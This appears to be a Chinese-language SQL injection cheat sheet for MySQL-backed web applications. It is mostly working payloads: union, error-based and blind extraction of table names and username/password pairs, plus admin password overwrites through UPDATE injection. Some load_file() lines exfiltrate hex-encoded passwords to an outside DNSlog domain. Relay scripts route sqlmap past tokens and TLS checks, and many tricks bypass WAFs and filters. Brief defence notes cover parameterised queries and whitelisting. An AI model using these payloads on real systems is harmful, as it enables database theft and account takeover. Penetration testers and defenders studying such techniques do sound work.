SQL注入漏洞

@wintry大约 15 分钟

漏洞概述

成因和危害

Web应用程序对用户输入的数据校验处理不严,导致用户可以拼接执行SQL命令。

可能导致数据泄露和主机接管,缺乏可审计性。

有五种SQL注入技术:

注入技术特征
布尔型盲注根据返回页面判断条件真假
时间型盲注用页面返回时间是否增加判断是否存在注入
基于错误的注入页面会返回错误信息
联合查询注入可以使用union的情况下
堆查询注入可以同时执行多条语句
SQL注入的防御方法

使用参数化查询。

数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;

而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

避免数据变成代码被执行,时刻分清代码和数据的界限。

MySQL数据库特征

MySQL默认存在数据库

sys
mysql
performance_schema
information_schema

information_schema 存放着所有的数据库信息(5.0版本以上才有这个库)

这个库默认存在三个表:

表名字段
SCHEMATA 存放用户创建的所有数据库库名SCHEMA_NAME 记录数据库库名
TABLES 存放用户创建的所有数据库库名和表名TABLE_SCHEMA 记录数据库名
TABLE_NAME 记录表名
COLUMNS 存放用户创建的数据库库名、表名和字段名TABLE_SCHEMA 记录数据库名
TABLE_NAME 记录表名
COLUMN_NAME 记录字段名

联合查询注入

1)单引号报错

在参数后添加引号尝试报错,并用 and 1=1# 和 and 1=2# 测试报错

?id=1' and 1=1#     	--页面返回正常
?id=1' and 1=2#     	--页面返回不正常

2)利用 order by 猜字段

?id=1%27%20order%0aby%0c2%23    	--返回正常
?id=1%27 order by 3#            	--返回正常
?id=1%27 order by 4#            	--返回正常
?id=1%27 order by 5#            	--返回错误,这就证明字段总数为4

3)利用union联合查询

?id=-1%27 union select 1,2,3,4#	
--看哪个字段可以显示信息,利用它获取数据库信息

修改id为一个不存在的id,强行报错

因为代码默认只返回第一条结果,不会返回 union select 的结果

4)获取数据库信息

id=-1%27 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version())#

这的separator分隔符,用 char() 函数把 空格:空格 的ASCII码输出

函数作用
user()获取数据库用户名
database()获取数据库名
version()获取数据库版本信息
concat_ws(separator,str1,str2,...)含有分隔符地连接字符串
@@datadir数据库路径
@@version_compile_os操作系统版本

5)查询数据表

id=-1%27 union select 1,2,3,table_name from information_schema.tables where table_schema='sqli' limit 0,1#

--table_schema=数据库名16进制或者用单引号括起来
--改变limit 0,1中前一个参数,得到所有表

6)数据库字段查询

id=-1%27 union select 1,2,3,column_name from information_schema.columns where table_schema=%27数据库名%27 and table_name=%27表名%27 limit 0,1#

7)拖库,获取数据库数据

union select 1,2,3,group_concat(name,password)%20from%20sc#		--用字段名从表中取数据

group_concat(str1,str2,...)		--连接一个组的所有字符串

报错注入

在SQL注入攻击过程中,服务器开启了错误回显,页面会返回错误信息,利用报错函数获取数据库数据

常用的MySQL报错函数

一、xpath语法错误

extractvalue()  --查询节点内容
updatexml()     --修改查询到的内容

它们的第二个参数都要求是符合xpath语法的字符串

如果不满足要求则会报错,并且将查询结果放在报错信息里

二、主键重复(duplicate entry)

floor()     --返回小于等于该值的最大整数
count,rand(),group by --三个连用就会造成主键重复报错

1)单引号报错

2)获取数据库名

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

--0x7e是"~"符号的16进制,在这作为分隔符

3)获取表名

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+

4)获取字段名

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+

5)取数据

' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+

其它函数payload

--extractvalue
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

--floor()
' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

布尔型盲注

布尔型盲注,页面不返回查询信息的数据,只能通过页面返回信息的真假条件判断是否存在注入。

1)单引号报错,测试页面返回

?id=1' and 1=1#     页面返回正常
?id=1' and 1=2#     页面返回不正常

2)判断数据库名长度

1'and length(database())>=1--+      页面返回正常
1'and length(database())>=13--+     页面返回正常
1'and length(database())>=14--+     页面返回错误

--由此判断得到数据库名的长度是13个字符

3)猜解数据库名

使用逐字符判断的方式获取数据库名;

数据库名的范围一般在a~z、0~9之内,可能还会有特殊字符 "_"、"-" 等,字母不区分大小写

' and substr(database(),1,1)='a'--+
' and substr(database(),2,1)='a'--+

-- substr 的用法和 limit 有区别,limit从 0 开始排序,这里从 1 开始排序
-- 用Burp爆破字母a的位置,即可得到数据库名每个位置上的字符

a 的ASCII码是97,在MySQL中使用ord函数转换ASCII,所以逐字符判断语句可改为:

' and ord(substr(database(),1,1))=97--+

ASCII码表中可显示字符的范围是:0~127

4)判断表名

' and substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1)='a'--+

--修改1,1前边的1~20,逐字符猜解出第一个表的名
--修改limit的0,1前边的0~20,逐个猜解每个表

5)判断字段名

' and substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)='a'--+

--修改1,1前边的1~20,逐字符猜解出第一个字段的名
--修改limit的0,1前边的0~20,逐个猜解每个字段

6)读取数据

' and substr((select 字段名 from 表名 limit 0,1),1,1)='a'--+

时间型盲注

可以用benchmark,sleep等造成延时效果的函数,根据页面返回时间判断是否存在注入

延时函数被禁用

可以让两个非常大的数据表做笛卡尔积open in new window产生大量的计算从而产生时间延迟

或者利用复杂的正则表达式去匹配一个超长字符串来产生时间延迟

1)利用sleep判断数据库名长度

' and sleep(5) and 1=1--+   页面返回不正常,延时5秒
' and sleep(5) and 1=2--+   页面返回不正常,不延时

2)获取数据库名

and if(substr(database(),1,1)='a',sleep(5),1)--+

DNSlog盲注

DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息;

MySQL Load_File()函数可以发起请求,使用Dnslog接收请求,获取数据;

通过SQL执行后,将内容输出到DNSlog中记录起来,然后我们可以在DNSlog平台查询回显数据

union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM user WHERE name='admin' LIMIT 1),'.mysql.wintrysec.ceye.io\abc'))
--Hex编码的目的是减少干扰,域名有一定的规范,有些特殊字符不能带入


--时间型盲注中用DNSlog加速注入
'and if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(database())),'.xxx.ceye.io\\abc'))),sleep(5),1)%23

注意

load_file()只能在Windows平台上才能发起请求,Linux下做dnslog攻击是不行的。

因为Linux没有遵守UNC,所以当MySQL在Linux上时,是不能使用这种方式外带数据的

UNC通用命名规范->\\server_IP\share_name

上边 CONCAT 应该写四个反斜杠 \,因为最后会被转义成两个

MySQL数据库配置中要设置secure_file_priv为空,才能完整的去请求DNS

//secure-file-priv参数是用来限制文件导入导出路径的
secure-file-priv=null    //限制mysqld 不允许导入|导出
secure-file-priv=        //不限制

花式注入

宽字节注入

当MySQL数据库中使用了宽字符集时(GBK,GB2312),会认为两个字符为一个汉字;

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27,可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字(ascii > 128才能达到汉字范围),%5c被吃掉了,单引号逃逸可以用来闭合语句。

修复:使用mysqli_real_escape_string进行转义

二阶注入

当数据首次插入到数据库中时,许多应用程序能够安全处理这些数据 addslashes 等字符转义函数。

一旦数据存储在数据库中,随后应用程序本身或其它后端进程可能会以危险的方式处理这些数据。

中转注入

当网站做了token保护或js前端加密的情况下;

对于这些站点当手工发现了注入点,但并不适用于用sqlmap等工具跑,可以做中转注入;

本地起个Server,然后用sqlmap扫这个Server,Server接收到payload后加到表单中提交。

Python+selenium做中转注入
from flask import Flask
from flask import request
from selenium import webdriver
driver_path = "C:/Users/Administrator/AppData/Local/Programs/Python/Python37/Lib/site-packages/selenium/webdriver/chrome/chromedriver.exe"
chrome = webdriver.Chrome(driver_path)
chrome.get("http://127.0.0.1")   #目标注入点
app = Flask(__name__)

#起到中转payload效果
def send(payload):
   chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方
   chrome.find_element_by_id("password").send_keys("aaaa")
   chrome.find_element_by_id("submit").click()
   return "1234" #随便返回一下不重要,结果看Flask Server

@app.route('/')
# 接收sqlmap传递过来的payload
def index():
   payload = request.args.get("payload")
   return send(payload)

if __name__ == "__main__":
   app.run()

:::detials sqlmap不能忽略证书,跑不了https的网站?

<?php
$url = "https://x.x.x.x/aaa.php";
$sql = $_GET[arg];
$s = urlencode($sql);
$params = "email=$s&password=aa";

//写出到文件分析.
$fp=fopen('result.txt','a');
fwrite($fp,'Params:'.$params."\n");
fclose($fp);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0');
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
 
curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
 
$output = curl_exec($ch);
curl_close($ch);
$a = strlen($output);

if($a==2846){
   echo "1";
}else{
   echo "2";
}

:::

Base64变形注入

针对传递的参数被base64加密后的注入点进行注入

http://xxx.com/?id=MQ==     只加密参数
http://xxx.com/?aWQ9MQ==    连参数名一起加密了

1)只加密参数,用sqlmap的脚本

sqlmap -u http://xxx.com/?id=1 --tamper base64encode.py --dbs

2)参数名也加密了,用中转注入

//trans_sqli.php
<?php
$id=base64_encode("id=".$_GET['id']);
echo file_get_contents("http://xxx.com/sqli.php?{$id}");  //sqli.php是原网页
?>
sqlmap-u "http://127.0.0.1/trans_sqli.php?id=12" -v3 --dbs

Limit注入

适用于 5.0.0 < mysql <5.6.6 的版本

limit用法
limit m,n  --m记录开始的位置,n是要取的数据条数
limit 0,1  --从第一条开始,取一条数据

案例:

确认有注入点前面有 order by 关键字,没法用union联合查询

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT (注入点)

在limit后面可以跟两个函数PROCEDUREINTO,INTO除非有写入权限,否则是无法利用的;

报错注入利用
?id=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1); 
时间型盲注利用

直接使用sleep不行,需要用BENCHMARK代替

?id=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x7e,(IF(MID(database(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

order by注入

order by 注入是SQL注入中很常见的,被过滤的概率小;

可被用户控制的数据在order by 子句后边,即order参数可控。

利用报错

--利用regexp
http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) --正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) --错误

--利用updatexml
http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1)  --正常
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1)  --错误

--利用extractvalue
http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) --正常
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) --错误

利用时间盲注

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) --正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) --sleep 2秒

数据猜解

以猜解user即root@localhost为例子,由于只能一位一位猜解;

可以利用SUBSTR,SUBSTRING**,**MID,以及left和right可以精准分割出每一位子串;

然后就是比较操作了可以利用=,like,regexp等。

通过以下可以得知user()第一位为 r ,ascii码的16进制为0x72

http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) --正确
http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) --错误

猜解表名

/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))  --正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) --错误

猜解列名

/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) --正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) --错误

Update注入

这种方式会修改数据很危险,在授权测试允许的情况下才考虑,一般在用户修改密码的地方。

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

如果此 SQL 被修改成以下形式,就实现了注入

1、修改 homepage 值为http://baidu.com', userlevel='3

之后 SQL 语句变为

UPDATE user SET password='mypass', homepage='http://baidu.com', userlevel='3' WHERE id='$id'

userlevel为用户级别

2、修改 password 值为mypass)' WHERE username='admin'#

之后 SQL 语句变为

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

3、修改 id 值为' OR username='admin'之后 SQL语句变为

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

绕过技巧

未知列名下的注入

mysql <5.0 或遇到了WAF-安全狗3.5版本会直接拦截关键字information_shema

从而无法获取数据表的列名,这时可以利用虚表获取数据

直接select 1,2,3时,会创建一个虚拟的表

-1 union select 1,(select `3` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
--可以通过不停的修改列名1,2,3来提取数据( 改这个用反引号包裹的`3`)

多数情况下,反引号会被过滤,可以使用别名来代替

select b from (select 1,2,3 as b union select * from users)a;

过滤了逗号怎么办

使用join和别名绕过

联合查询的情况

union select 1,2,3 --原sql命令

union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23

union select * from ((select 1)a JOIN (select 2)b JOIN (select CONCAT_WS(CHAR(32,58,32),user(),database(),version()))c)%23
使用offset关键字绕过
select * from users limit 1 offset 2;
--此时 limit 1 offset 2 可以代替 limit 1,2
使用from...for绕过
' and ascii(substr((select database()),1,1))=xxx#

' and ascii(substr((select database() from 1 for 1))=xxx%23

--如果过滤了空格,可以用括号代替空格
' and ascii(substr((select database())from 1 for 1))=xxx%23

大于号尖括号被过滤

可以使用between and代替尖括号

--判断条件真假
2 > 1   --真
0 > 1   --假

--以下用between and 实现判断真假
2 between 1 and 3   --真
3 betwwen 1 and 2   --假

between and还支持16进制,所以可以用16进制,来绕过单引号的过滤

select database() between 'a' and 'z';   --原sql

select database() between 0x61 and 0x7a; --16进制

在sqlmap中使用between and 代替其它字符加上 --tamper=between 即可

过滤if

使用case when语句绕过

0' or if((ascii(substr((select database()),1,1))>97),1,0)#

0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#

过滤 substr

可以使用lpad()和rpad()绕过substr()

select lpad((select database()),1,1)    -- s
select lpad((select database()),2,1)    -- se
select lpad((select database()),3,1)    -- sec
select lpad((select database()),4,1)    -- secu
select lpad((select database()),5,1)    -- secur
select lpad((select database()),6,1)    -- securi
select lpad((select database()),7,1)    -- securit
select lpad((select database()),8,1)    -- security

select rpad((select database()),1,1)    -- s
select rpad((select database()),2,1)    -- se
select rpad((select database()),3,1)    -- sec
select rpad((select database()),4,1)    -- secu
select rpad((select database()),5,1)    -- secur
select rpad((select database()),6,1)    -- securi
select rpad((select database()),7,1)    -- securit
select rpad((select database()),8,1)    -- security

函数语法:

lpad(str1,length,str2)

其中str1是第一个字符串,length是结果字符串的长度,str2是一个填充字符串

如果str1的长度没有length那么长,则使用str2填充;如果str1的长度大于length,则截断

常见问题

预编译为何不好防御order by注入?

1)预编译会自动给传入的参数加上引号

String sql = " SELECT xxx FROM xxx WHERE xxx = ? ";     --原预编译sql语句
String sql = " SELECT xxx FROM xxx WHERE xxx = 'abc' "; --传入数据经过预编译处理后的语句 

--这样可以有效的防止用户的输入直接拼接在sql语句之后,如用户输入xxx=' or '1'='1时,无法达到攻击的效果
String sql = " SELECT xxx FROM xxx WHERE xxx = '' or '1'='1' ";

2)对order by之后的输入进行参数化

sql = "SELECT xxx FROM xxx WHERE xxx ='xxx' order by 'xxx'";
--此时'xxx'是字符串而不是字段名,会造成sql语法错误

任何需要字符串且不能够加引号的地方都有可能发生类似的注入

3)如何防范order by注入?

使用白名单限制order by之后的字段

因为order by之后跟的字段名肯定有限,且是数据库中已经存在的字段

盲注的加速方法?

1)Windows平台上的Mysql可以用DNSlog加速注入

2)利用二分查找法

  • 利用 ASCII 码作为条件来查询,ASCII 码中字母范围在65~122之间
  • 以这个范围的中间数为条件,判断payload中传入的 ASCII 码是否大于这个中间数
  • 如果大于,就往中间数122这块查找。反之亦然